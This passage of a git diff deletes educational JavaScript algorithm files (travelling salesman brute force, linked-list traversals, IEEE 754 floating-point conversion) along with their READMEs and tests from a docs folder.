-    while (Object.keys(unvisitedSet).length) {
-        const currentVertexKey = Object.keys(unvisitedSet)[0];
-        const currentVertex = unvisitedSet[currentVertexKey];
-        // Do DFS for current node.
-        depthFirstSearch(graph, currentVertex, dfsCallbacks);
-    }
-    return sortedStack.toArray();
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/README.md b/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/README.md
deleted file mode 100644
index 54f42c9723..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/README.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# Travelling Salesman Problem
-
-The travelling salesman problem (TSP) asks the following question:
-"Given a list of cities and the distances between each pair of
-cities, what is the shortest possible route that visits each city
-and returns to the origin city?"
-
-![Travelling Salesman](https://upload.wikimedia.org/wikipedia/commons/1/11/GLPK_solution_of_a_travelling_salesman_problem.svg)
-
-Solution of a travelling salesman problem: the black line shows
-the shortest possible loop that connects every red dot.
-
-![Travelling Salesman Graph](https://upload.wikimedia.org/wikipedia/commons/3/30/Weighted_K4.svg)
-
-TSP can be modelled as an undirected weighted graph, such that
-cities are the graph's vertices, paths are the graph's edges,
-and a path's distance is the edge's weight. It is a minimization
-problem starting and finishing at a specified vertex after having
-visited each other vertex exactly once. Often, the model is a
-complete graph (i.e. each pair of vertices is connected by an
-edge). If no path exists between two cities, adding an arbitrarily
-long edge will complete the graph without affecting the optimal tour.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Travelling_salesman_problem)
diff --git a/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/bfTravellingSalesman.js b/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/bfTravellingSalesman.js
deleted file mode 100644
index 6a68342c31..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/bfTravellingSalesman.js
+++ /dev/null
@@ -1,86 +0,0 @@
-/**
- * Get all possible paths
- * @param {GraphVertex} startVertex
- * @param {GraphVertex[][]} [paths]
- * @param {GraphVertex[]} [path]
- */
-function findAllPaths(startVertex, paths = [], path = []) {
-    // Clone path.
-    const currentPath = [...path];
-    // Add startVertex to the path.
-    currentPath.push(startVertex);
-    // Generate visited set from path.
-    const visitedSet = currentPath.reduce((accumulator, vertex) => {
-        const updatedAccumulator = { ...accumulator };
-        updatedAccumulator[vertex.getKey()] = vertex;
-        return updatedAccumulator;
-    }, {});
-    // Get all unvisited neighbors of startVertex.
-    const unvisitedNeighbors = startVertex.getNeighbors().filter((neighbor) => {
-        return !visitedSet[neighbor.getKey()];
-    });
-    // If there no unvisited neighbors then treat current path as complete and save it.
-    if (!unvisitedNeighbors.length) {
-        paths.push(currentPath);
-        return paths;
-    }
-    // Go through all the neighbors.
-    for (let neighborIndex = 0; neighborIndex < unvisitedNeighbors.length; neighborIndex += 1) {
-        const currentUnvisitedNeighbor = unvisitedNeighbors[neighborIndex];
-        findAllPaths(currentUnvisitedNeighbor, paths, currentPath);
-    }
-    return paths;
-}
-/**
- * @param {number[][]} adjacencyMatrix
- * @param {object} verticesIndices
- * @param {GraphVertex[]} cycle
- * @return {number}
- */
-function getCycleWeight(adjacencyMatrix, verticesIndices, cycle) {
-    let weight = 0;
-    for (let cycleIndex = 1; cycleIndex < cycle.length; cycleIndex += 1) {
-        const fromVertex = cycle[cycleIndex - 1];
-        const toVertex = cycle[cycleIndex];
-        const fromVertexIndex = verticesIndices[fromVertex.getKey()];
-        const toVertexIndex = verticesIndices[toVertex.getKey()];
-        weight += adjacencyMatrix[fromVertexIndex][toVertexIndex];
-    }
-    return weight;
-}
-/**
- * BRUTE FORCE approach to solve Traveling Salesman Problem.
- *
- * @param {Graph} graph
- * @return {GraphVertex[]}
- */
-export default function bfTravellingSalesman(graph) {
-    // Pick starting point from where we will traverse the graph.
-    const startVertex = graph.getAllVertices()[0];
-    // BRUTE FORCE.
-    // Generate all possible paths from startVertex.
-    const allPossiblePaths = findAllPaths(startVertex);
-    // Filter out paths that are not cycles.
-    const allPossibleCycles = allPossiblePaths.filter((path) => {
-        /** @var {GraphVertex} */
-        const lastVertex = path[path.length - 1];
-        const lastVertexNeighbors = lastVertex.getNeighbors();
-        return lastVertexNeighbors.includes(startVertex);
-    });
-    // Go through all possible cycles and pick the one with minimum overall tour weight.
-    const adjacencyMatrix = graph.getAdjacencyMatrix();
-    const verticesIndices = graph.getVerticesIndices();
-    let salesmanPath = [];
-    let salesmanPathWeight = null;
-    for (let cycleIndex = 0; cycleIndex < allPossibleCycles.length; cycleIndex += 1) {
-        const currentCycle = allPossibleCycles[cycleIndex];
-        const currentCycleWeight = getCycleWeight(adjacencyMatrix, verticesIndices, currentCycle);
-        // If current cycle weight is smaller then previous ones treat current cycle as most optimal.
-        if (salesmanPathWeight === null || currentCycleWeight < salesmanPathWeight) {
-            salesmanPath = currentCycle;
-            salesmanPathWeight = currentCycleWeight;
-        }
-    }
-    // Return the solution.
-    return salesmanPath;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/test/bfTravellingSalesman.test.js b/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/test/bfTravellingSalesman.test.js
deleted file mode 100644
index c7d4081c3b..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/travelling-salesman/test/bfTravellingSalesman.test.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import bfTravellingSalesman from '../bfTravellingSalesman';
-describe('bfTravellingSalesman', () => {
-    it('should solve problem for simple graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 1);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 1);
-        const edgeDC = new GraphEdge(vertexD, vertexC, 1);
-        const edgeCA = new GraphEdge(vertexC, vertexA, 1);
-        const edgeBA = new GraphEdge(vertexB, vertexA, 5);
-        const edgeDB = new GraphEdge(vertexD, vertexB, 8);
-        const edgeCD = new GraphEdge(vertexC, vertexD, 7);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 4);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 2);
-        const edgeDA = new GraphEdge(vertexD, vertexA, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 3);
-        const edgeCB = new GraphEdge(vertexC, vertexB, 9);
-        const graph = new Graph(true);
-        graph
-            .addEdge(edgeAB)
-            .addEdge(edgeBD)
-            .addEdge(edgeDC)
-            .addEdge(edgeCA)
-            .addEdge(edgeBA)
-            .addEdge(edgeDB)
-            .addEdge(edgeCD)
-            .addEdge(edgeAC)
-            .addEdge(edgeAD)
-            .addEdge(edgeDA)
-            .addEdge(edgeBC)
-            .addEdge(edgeCB);
-        const salesmanPath = bfTravellingSalesman(graph);
-        expect(salesmanPath.length).toBe(4);
-        expect(salesmanPath[0].getKey()).toEqual(vertexA.getKey());
-        expect(salesmanPath[1].getKey()).toEqual(vertexB.getKey());
-        expect(salesmanPath[2].getKey()).toEqual(vertexD.getKey());
-        expect(salesmanPath[3].getKey()).toEqual(vertexC.getKey());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/README.md b/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/README.md
deleted file mode 100644
index 7d6eb76bfc..0000000000
--- a/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Reversed Linked List Traversal
-
-[中文](README.zh-CN.md)
-
-The task is to traverse the given linked list in reversed order.
-
-For example for the following linked list:
-
-![](https://upload.wikimedia.org/wikipedia/commons/6/6d/Singly-linked-list.svg)
-
-The order of traversal should be:
-
-```text
-37 → 99 → 12
-```
-
-The time complexity is `O(n)` because we visit every node only once.
-
-## Reference
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Linked_list)
diff --git a/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/reverseTraversal.js b/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/reverseTraversal.js
deleted file mode 100644
index 76845c5385..0000000000
--- a/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/reverseTraversal.js
+++ /dev/null
@@ -1,22 +0,0 @@
-/**
- * Traversal callback function.
- * @callback traversalCallback
- * @param {*} nodeValue
- */
-/**
- * @param {LinkedListNode} node
- * @param {traversalCallback} callback
- */
-function reverseTraversalRecursive(node, callback) {
-    if (node) {
-        reverseTraversalRecursive(node.next, callback);
-        callback(node.value);
-    }
-}
-/**
- * @param {LinkedList} linkedList
- * @param {traversalCallback} callback
- */
-export default function reverseTraversal(linkedList, callback) {
-    reverseTraversalRecursive(linkedList.head, callback);
-}
diff --git a/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/test/reverseTraversal.test.js b/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/test/reverseTraversal.test.js
deleted file mode 100644
index b16fb172df..0000000000
--- a/docs/content/DS_ALGO/algorithms/linked-list/reverse-traversal/test/reverseTraversal.test.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import LinkedList from '../../../../data-structures/linked-list/LinkedList';
-import reverseTraversal from '../reverseTraversal';
-describe('reverseTraversal', () => {
-    it('should traverse linked list in reverse order', () => {
-        const linkedList = new LinkedList();
-        linkedList.append(1).append(2).append(3);
-        const traversedNodeValues = [];
-        const traversalCallback = (nodeValue) => {
-            traversedNodeValues.push(nodeValue);
-        };
-        reverseTraversal(linkedList, traversalCallback);
-        expect(traversedNodeValues).toEqual([3, 2, 1]);
-    });
-});
-// it('should reverse traversal the linked list with callback', () => {
-//   const linkedList = new LinkedList();
-//
-//   linkedList
-//     .append(1)
-//     .append(2)
-//     .append(3);
-//
-//   expect(linkedList.toString()).toBe('1,2,3');
-//   expect(linkedList.reverseTraversal(linkedList.head, value => value * 2)).toEqual([6, 4, 2]);
-//   expect(() => linkedList.reverseTraversal(linkedList.head)).toThrow();
-// });
diff --git a/docs/content/DS_ALGO/algorithms/linked-list/traversal/README.md b/docs/content/DS_ALGO/algorithms/linked-list/traversal/README.md
deleted file mode 100644
index 247acb157a..0000000000
--- a/docs/content/DS_ALGO/algorithms/linked-list/traversal/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Linked List Traversal
-
-[中文](README.zh-CN.md)
-
-The task is to traverse the given linked list in straight order.
-
-For example for the following linked list:
-
-![Singly linked list](https://upload.wikimedia.org/wikipedia/commons/6/6d/Singly-linked-list.svg)
-
-The order of traversal should be:
-
-```text
-12 → 99 → 37
-```
-
-The time complexity is `O(n)` because we visit every node only once.
-
-## Reference
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Linked_list)
diff --git a/docs/content/DS_ALGO/algorithms/linked-list/traversal/test/traversal.test.js b/docs/content/DS_ALGO/algorithms/linked-list/traversal/test/traversal.test.js
deleted file mode 100644
index 600f1cce18..0000000000
--- a/docs/content/DS_ALGO/algorithms/linked-list/traversal/test/traversal.test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import LinkedList from '../../../../data-structures/linked-list/LinkedList';
-import traversal from '../traversal';
-describe('traversal', () => {
-    it('should traverse linked list', () => {
-        const linkedList = new LinkedList();
-        linkedList.append(1).append(2).append(3);
-        const traversedNodeValues = [];
-        const traversalCallback = (nodeValue) => {
-            traversedNodeValues.push(nodeValue);
-        };
-        traversal(linkedList, traversalCallback);
-        expect(traversedNodeValues).toEqual([1, 2, 3]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/linked-list/traversal/traversal.js b/docs/content/DS_ALGO/algorithms/linked-list/traversal/traversal.js
deleted file mode 100644
index aec16c3da9..0000000000
--- a/docs/content/DS_ALGO/algorithms/linked-list/traversal/traversal.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/**
- * Traversal callback function.
- * @callback traversalCallback
- * @param {*} nodeValue
- */
-/**
- * @param {LinkedList} linkedList
- * @param {traversalCallback} callback
- */
-export default function traversal(linkedList, callback) {
-    let currentNode = linkedList.head;
-    while (currentNode) {
-        callback(currentNode.value);
-        currentNode = currentNode.next;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/README.md b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/README.md
deleted file mode 100644
index cbc40cacbd..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/README.md
+++ /dev/null
@@ -1,103 +0,0 @@
-# Binary representation of floating-point numbers
-
-Have you ever wondered how computers store the floating-point numbers like `3.1416` (𝝿) or `9.109 × 10⁻³¹` (the mass of the electron in kg) in the memory which is limited by a finite number of ones and zeroes (aka bits)?
-
-It seems pretty straightforward for integers (i.e. `17`). Let's say we have 16 bits (2 bytes) to store the number. In 16 bits we may store the integers in a range of `[0, 65535]`:
-
-```text
-(0000000000000000)₂ = (0)₁₀
-
-(0000000000010001)₂ =
-    (1 × 2⁴) +
-    (0 × 2³) +
-    (0 × 2²) +
-    (0 × 2¹) +
-    (1 × 2⁰) = (17)₁₀
-
-(1111111111111111)₂ =
-    (1 × 2¹⁵) +
-    (1 × 2¹⁴) +
-    (1 × 2¹³) +
-    (1 × 2¹²) +
-    (1 × 2¹¹) +
-    (1 × 2¹⁰) +
-    (1 × 2⁹) +
-    (1 × 2⁸) +
-    (1 × 2⁷) +
-    (1 × 2⁶) +
-    (1 × 2⁵) +
-    (1 × 2⁴) +
-    (1 × 2³) +
-    (1 × 2²) +
-    (1 × 2¹) +
-    (1 × 2⁰) = (65535)₁₀
-```
-
-If we need a signed integer we may use [two's complement](https://en.wikipedia.org/wiki/Two%27s_complement) and shift the range of `[0, 65535]` towards the negative numbers. In this case, our 16 bits would represent the numbers in a range of `[-32768, +32767]`.
-
-As you might have noticed, this approach won't allow you to represent the numbers like `-27.15625` (numbers after the decimal point are just being ignored).
-
-We're not the first ones who have noticed this issue though. Around ≈36 years ago some smart folks overcame this limitation by introducing the [IEEE 754](https://en.wikipedia.org/wiki/IEEE_754) standard for floating-point arithmetic.
-
-The IEEE 754 standard describes the way (the framework) of using those 16 bits (or 32, or 64 bits) to store the numbers of wider range, including the small floating numbers (smaller than 1 and closer to 0).
-
-To get the idea behind the standard we might recall the [scientific notation](https://en.wikipedia.org/wiki/Scientific_notation) - a way of expressing numbers that are too large or too small (usually would result in a long string of digits) to be conveniently written in decimal form.
-
-![Scientific number notation](images/03-scientific-notation.png)
-
-As you may see from the image, the number representation might be split into three parts:
-
--   **sign**
--   **fraction (aka significand)** - the valuable digits (the meaning, the payload) of the number
--   **exponent** - controls how far and in which direction to move the decimal point in the fraction
-
-The **base** part we may omit by just agreeing on what it will be equal to. In our case, we'll be using `2` as a base.
-
-Instead of using all 16 bits (or 32 bits, or 64 bits) to store the fraction of the number, we may share the bits and store a sign, exponent, and fraction at the same time. Depending on the number of bits that we're going to use to store the number we end up with the following splits:
-
-| Floating-point format                                                                    | Total bits | Sign bits | Exponent bits | Fraction bits | Base |
-| :--------------------------------------------------------------------------------------- | :--------: | :-------: | :-----------: | :-----------: | :--: |
-| [Half-precision](https://en.wikipedia.org/wiki/Half-precision_floating-point_format)     |     16     |     1     |       5       |      10       |  2   |
-| [Single-precision](https://en.wikipedia.org/wiki/Single-precision_floating-point_format) |     32     |     1     |       8       |      23       |  2   |
-| [Double-precision](https://en.wikipedia.org/wiki/Double-precision_floating-point_format) |     64     |     1     |      11       |      52       |  2   |
-
-With this approach, the number of bits for the fraction has been reduced (i.e. for the 16-bits number it was reduced from 16 bits to 10 bits). It means that the fraction might take a narrower range of values now (losing some precision). However, since we also have an exponent part, it will actually increase the ultimate number range and also allow us to describe the numbers between 0 and 1 (if the exponent is negative).
-
-> For example, a signed 32-bit integer variable has a maximum value of 2³¹ − 1 = 2,147,483,647, whereas an IEEE 754 32-bit base-2 floating-point variable has a maximum value of ≈ 3.4028235 × 10³⁸.
-
-To make it possible to have a negative exponent, the IEEE 754 standard uses the [biased exponent](https://en.wikipedia.org/wiki/Exponent_bias). The idea is simple - subtract the bias from the exponent value to make it negative. For example, if the exponent has 5 bits, it might take the values from the range of `[0, 31]` (all values are positive here). But if we subtract the value of `15` from it, the range will be `[-15, 16]`. The number `15` is called bias, and it is being calculated by the following formula:
-
-```
-exponent_bias = 2 ^ (k−1) − 1
-
-k - number of exponent bits
-```
-
-I've tried to describe the logic behind the converting of floating-point numbers from a binary format back to the decimal format on the image below. Hopefully, it will give you a better understanding of how the IEEE 754 standard works. The 16-bits number is being used here for simplicity, but the same approach works for 32-bits and 64-bits numbers as well.
-
-![Half-precision floating point number format explained in one picture](images/02-half-precision-floating-point-number-explained.png)
-
-> Checkout the [interactive version of this diagram](https://trekhleb.dev/blog/2021/binary-floating-point/) to play around with setting bits on and off, and seeing how it would influence the final result
-
-Here is the number ranges that different floating-point formats support:
-
-| Floating-point format | Exp min | Exp max | Range             | Min positive |
-| :-------------------- | :------ | :------ | :---------------- | :----------- |
-| Half-precision        | −14     | +15     | ±65,504           | 6.10 × 10⁻⁵  |
-| Single-precision      | −126    | +127    | ±3.4028235 × 10³⁸ | 1.18 × 10⁻³⁸ |
-
-Be aware that this is by no means a complete and sufficient overview of the IEEE 754 standard. It is rather a simplified and basic overview. Several corner cases were omitted in the examples above for simplicity of presentation (i.e. `-0`, `-∞`, `+∞` and `NaN` (not a number) values)
-
-## Code examples
-
--   See the [bitsToFloat.js](bitsToFloat.js) for the example of how to convert array of bits to the floating point number (the example is a bit artificial but still it gives the overview of how the conversion is going on)
--   See the [floatAsBinaryString.js](floatAsBinaryString.js) for the example of how to see the actual binary representation of the floating-point number in JavaScript
-
-## References
-
-You might also want to check out the following resources to get a deeper understanding of the binary representation of floating-point numbers:
-
--   [Interactive version of this article](https://trekhleb.dev/blog/2021/binary-floating-point/) (allows setting the bits manually and seeing the resulting floating number)
--   [Here is what you need to know about JavaScript's Number type](https://indepth.dev/posts/1139/here-is-what-you-need-to-know-about-javascripts-number-type)
--   [Float Exposed](https://float.exposed/)
--   [IEEE754 Visualization](https://bartaz.github.io/ieee754-visualization/)
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/__tests__/bitsToFloat.test.js b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/__tests__/bitsToFloat.test.js
deleted file mode 100644
index 0a8841d429..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/__tests__/bitsToFloat.test.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import { testCases16Bits, testCases32Bits, testCases64Bits } from '../testCases';
-import { bitsToFloat16, bitsToFloat32, bitsToFloat64 } from '../bitsToFloat';
-describe('bitsToFloat16', () => {
-    it('should convert floating point binary bits to floating point decimal number', () => {
-        for (let testCaseIndex = 0; testCaseIndex < testCases16Bits.length; testCaseIndex += 1) {
-            const [decimal, binary] = testCases16Bits[testCaseIndex];
-            const bits = binary.split('').map((bitString) => parseInt(bitString, 10));
-            expect(bitsToFloat16(bits)).toBeCloseTo(decimal, 4);
-        }
-    });
-});
-describe('bitsToFloat32', () => {
-    it('should convert floating point binary bits to floating point decimal number', () => {
-        for (let testCaseIndex = 0; testCaseIndex < testCases32Bits.length; testCaseIndex += 1) {
-            const [decimal, binary] = testCases32Bits[testCaseIndex];
-            const bits = binary.split('').map((bitString) => parseInt(bitString, 10));
-            expect(bitsToFloat32(bits)).toBeCloseTo(decimal, 7);
-        }
-    });
-});
-describe('bitsToFloat64', () => {
-    it('should convert floating point binary bits to floating point decimal number', () => {
-        for (let testCaseIndex = 0; testCaseIndex < testCases64Bits.length; testCaseIndex += 1) {
-            const [decimal, binary] = testCases64Bits[testCaseIndex];
-            const bits = binary.split('').map((bitString) => parseInt(bitString, 10));
-            expect(bitsToFloat64(bits)).toBeCloseTo(decimal, 14);
-        }
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/__tests__/floatAsBinaryString.test.js b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/__tests__/floatAsBinaryString.test.js
deleted file mode 100644
index 805764712c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/__tests__/floatAsBinaryString.test.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import { floatAs32BinaryString, floatAs64BinaryString } from '../floatAsBinaryString';
-import { testCases32Bits, testCases64Bits } from '../testCases';
-describe('floatAs32Binary', () => {
-    it('should create a binary representation of the floating numbers', () => {
-        for (let testCaseIndex = 0; testCaseIndex < testCases32Bits.length; testCaseIndex += 1) {
-            const [decimal, binary] = testCases32Bits[testCaseIndex];
-            expect(floatAs32BinaryString(decimal)).toBe(binary);
-        }
-    });
-});
-describe('floatAs64Binary', () => {
-    it('should create a binary representation of the floating numbers', () => {
-        for (let testCaseIndex = 0; testCaseIndex < testCases64Bits.length; testCaseIndex += 1) {
-            const [decimal, binary] = testCases64Bits[testCaseIndex];
-            expect(floatAs64BinaryString(decimal)).toBe(binary);
-        }
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/bitsToFloat.js b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/bitsToFloat.js
deleted file mode 100644
index 0f6f7de50e..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/bitsToFloat.js
+++ /dev/null
@@ -1,102 +0,0 @@
-/**
- * Sequence of 0s and 1s.
- * @typedef {number[]} Bits
- */
-/**
- * @typedef {{
- *   signBitsCount: number,
- *   exponentBitsCount: number,
- *   fractionBitsCount: number,
- * }} PrecisionConfig
- */
-/**
- * @typedef {{
- *   half: PrecisionConfig,
- *   single: PrecisionConfig,
- *   double: PrecisionConfig
- * }} PrecisionConfigs
- */
-/**
- * ┌───────────────── sign bit
- * │   ┌───────────── exponent bits
- * │   │       ┌───── fraction bits
- * │   │       │
- * X XXXXX XXXXXXXXXX
- *
- * @type {PrecisionConfigs}
- */
-const precisionConfigs = {
-    // @see: https://en.wikipedia.org/wiki/Half-precision_floating-point_format
-    half: {
-        signBitsCount: 1,
-        exponentBitsCount: 5,
-        fractionBitsCount: 10
-    },
-    // @see: https://en.wikipedia.org/wiki/Single-precision_floating-point_format
-    single: {
-        signBitsCount: 1,
-        exponentBitsCount: 8,
-        fractionBitsCount: 23
-    },
-    // @see: https://en.wikipedia.org/wiki/Double-precision_floating-point_format
-    double: {
-        signBitsCount: 1,
-        exponentBitsCount: 11,
-        fractionBitsCount: 52
-    }
-};
-/**
- * Converts the binary representation of the floating point number to decimal float number.
- *
- * @param {Bits} bits - sequence of bits that represents the floating point number.
- * @param {PrecisionConfig} precisionConfig - half/single/double precision config.
- * @return {number} - floating point number decoded from its binary representation.
- */
-function bitsToFloat(bits, precisionConfig) {
-    const { signBitsCount, exponentBitsCount } = precisionConfig;
-    // Figuring out the sign.
-    const sign = (-1) ** bits[0]; // -1^1 = -1, -1^0 = 1
-    // Calculating the exponent value.
-    const exponentBias = 2 ** (exponentBitsCount - 1) - 1;
-    const exponentBits = bits.slice(signBitsCount, signBitsCount + exponentBitsCount);
-    const exponentUnbiased = exponentBits.reduce((exponentSoFar, currentBit, bitIndex) => {
-        const bitPowerOfTwo = 2 ** (exponentBitsCount - bitIndex - 1);
-        return exponentSoFar + currentBit * bitPowerOfTwo;
-    }, 0);
-    const exponent = exponentUnbiased - exponentBias;
-    // Calculating the fraction value.
-    const fractionBits = bits.slice(signBitsCount + exponentBitsCount);
-    const fraction = fractionBits.reduce((fractionSoFar, currentBit, bitIndex) => {
-        const bitPowerOfTwo = 2 ** -(bitIndex + 1);
-        return fractionSoFar + currentBit * bitPowerOfTwo;
-    }, 0);
-    // Putting all parts together to calculate the final number.
-    return sign * 2 ** exponent * (1 + fraction);
-}
-/**
- *  Converts the 16-bit binary representation of the floating point number to decimal float number.
- *
- * @param {Bits} bits - sequence of bits that represents the floating point number.
- * @return {number} - floating point number decoded from its binary representation.
- */
-export function bitsToFloat16(bits) {
-    return bitsToFloat(bits, precisionConfigs.half);
-}
-/**
- * Converts the 32-bit binary representation of the floating point number to decimal float number.
- *
- * @param {Bits} bits - sequence of bits that represents the floating point number.
- * @return {number} - floating point number decoded from its binary representation.
- */
-export function bitsToFloat32(bits) {
-    return bitsToFloat(bits, precisionConfigs.single);
-}
-/**
- * Converts the 64-bit binary representation of the floating point number to decimal float number.
- *
- * @param {Bits} bits - sequence of bits that represents the floating point number.
- * @return {number} - floating point number decoded from its binary representation.
- */
-export function bitsToFloat64(bits) {
-    return bitsToFloat(bits, precisionConfigs.double);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/floatAsBinaryString.js b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/floatAsBinaryString.js
deleted file mode 100644
index 0af7c287be..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/floatAsBinaryString.js
+++ /dev/null
@@ -1,51 +0,0 @@
-// @see: https://en.wikipedia.org/wiki/Single-precision_floating-point_format
-const singlePrecisionBytesLength = 4; // 32 bits
-// @see: https://en.wikipedia.org/wiki/Double-precision_floating-point_format
-const doublePrecisionBytesLength = 8; // 64 bits
-const bitsInByte = 8;
-/**
- * Converts the float number into its IEEE 754 binary representation.
- * @see: https://en.wikipedia.org/wiki/IEEE_754
- *
- * @param {number} floatNumber - float number in decimal format.
- * @param {number} byteLength - number of bytes to use to store the float number.
- * @return {string} - binary string representation of the float number.
- */
-function floatAsBinaryString(floatNumber, byteLength) {
-    let numberAsBinaryString = '';
-    const arrayBuffer = new ArrayBuffer(byteLength);
-    const dataView = new DataView(arrayBuffer);
-    const byteOffset = 0;
-    const littleEndian = false;
-    if (byteLength === singlePrecisionBytesLength) {
-        dataView.setFloat32(byteOffset, floatNumber, littleEndian);
-    } else {
-        dataView.setFloat64(byteOffset, floatNumber, littleEndian);
-    }
-    for (let byteIndex = 0; byteIndex < byteLength; byteIndex += 1) {
-        let bits = dataView.getUint8(byteIndex).toString(2);
-        if (bits.length < bitsInByte) {
-            bits = new Array(bitsInByte - bits.length).fill('0').join('') + bits;
-        }
-        numberAsBinaryString += bits;
-    }
-    return numberAsBinaryString;
-}
-/**
- * Converts the float number into its IEEE 754 64-bits binary representation.
- *
- * @param {number} floatNumber - float number in decimal format.
- * @return {string} - 64 bits binary string representation of the float number.
- */
-export function floatAs64BinaryString(floatNumber) {
-    return floatAsBinaryString(floatNumber, doublePrecisionBytesLength);
-}
-/**
- * Converts the float number into its IEEE 754 32-bits binary representation.
- *
- * @param {number} floatNumber - float number in decimal format.
- * @return {string} - 32 bits binary string representation of the float number.
- */
-export function floatAs32BinaryString(floatNumber) {
-    return floatAsBinaryString(floatNumber, singlePrecisionBytesLength);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/images/02-half-precision-floating-point-number-explained.png b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/images/02-half-precision-floating-point-number-explained.png
deleted file mode 100644
index 1bc0a5b835..0000000000
Binary files a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/images/02-half-precision-floating-point-number-explained.png and /dev/null differ
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/images/03-scientific-notation.png b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/images/03-scientific-notation.png
deleted file mode 100644
index 449aa6faf5..0000000000
Binary files a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/images/03-scientific-notation.png and /dev/null differ
diff --git a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/testCases.js b/docs/content/DS_ALGO/algorithms/math/binary-floating-point/testCases.js
deleted file mode 100644
index d354621b88..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/binary-floating-point/testCases.js
+++ /dev/null
@@ -1,68 +0,0 @@
-/**
- * @typedef {[number, string]} TestCase
- * @property {number} decimal
- * @property {string} binary
- */
-/**
- * @type {TestCase[]}
- */
-export const testCases16Bits = [
-    [-65504, '1111101111111111'],
-    [-10344, '1111000100001101'],
-    [-27.15625, '1100111011001010'],
-    [-1, '1011110000000000'],
-    [-0.09997558, '1010111001100110'],
-    [0, '0000000000000000'],
-    [5.9604644775390625e-8, '0000000000000001'],
-    [0.000004529, '0000000001001100'],
-    [0.0999755859375, '0010111001100110'],
-    [0.199951171875, '0011001001100110'],
-    [0.300048828125, '0011010011001101'],
-    [1, '0011110000000000'],
-    [1.5, '0011111000000000'],
-    [1.75, '0011111100000000'],
-    [1.875, '0011111110000000'],
-    [65504, '0111101111111111']
-];
-/**
- * @type {TestCase[]}
- */
-export const testCases32Bits = [
-    [-3.40282346638528859812e38, '11111111011111111111111111111111'],
-    [-10345.5595703125, '11000110001000011010011000111101'],
-    [-27.15625, '11000001110110010100000000000000'],
-    [-1, '10111111100000000000000000000000'],
-    [-0.1, '10111101110011001100110011001101'],
-    [0, '00000000000000000000000000000000'],
-    [1.40129846432481707092e-45, '00000000000000000000000000000001'],
-    [0.00000456, '00110110100110010000001000011010'],
-    [0.1, '00111101110011001100110011001101'],
-    [0.2, '00111110010011001100110011001101'],
-    [0.3, '00111110100110011001100110011010'],
-    [1, '00111111100000000000000000000000'],
-    [1.5, '00111111110000000000000000000000'],
-    [1.75, '00111111111000000000000000000000'],
-    [1.875, '00111111111100000000000000000000'],
-    [3.40282346638528859812e38, '01111111011111111111111111111111']
-];
-/**
- * @type {TestCase[]}
- */
-export const testCases64Bits = [
-    [-1.79769313486231570815e308, '1111111111101111111111111111111111111111111111111111111111111111'],
-    [-10345.5595703125, '1100000011000100001101001100011110100000000000000000000000000000'],
-    [-27.15625, '1100000000111011001010000000000000000000000000000000000000000000'],
-    [-1, '1011111111110000000000000000000000000000000000000000000000000000'],
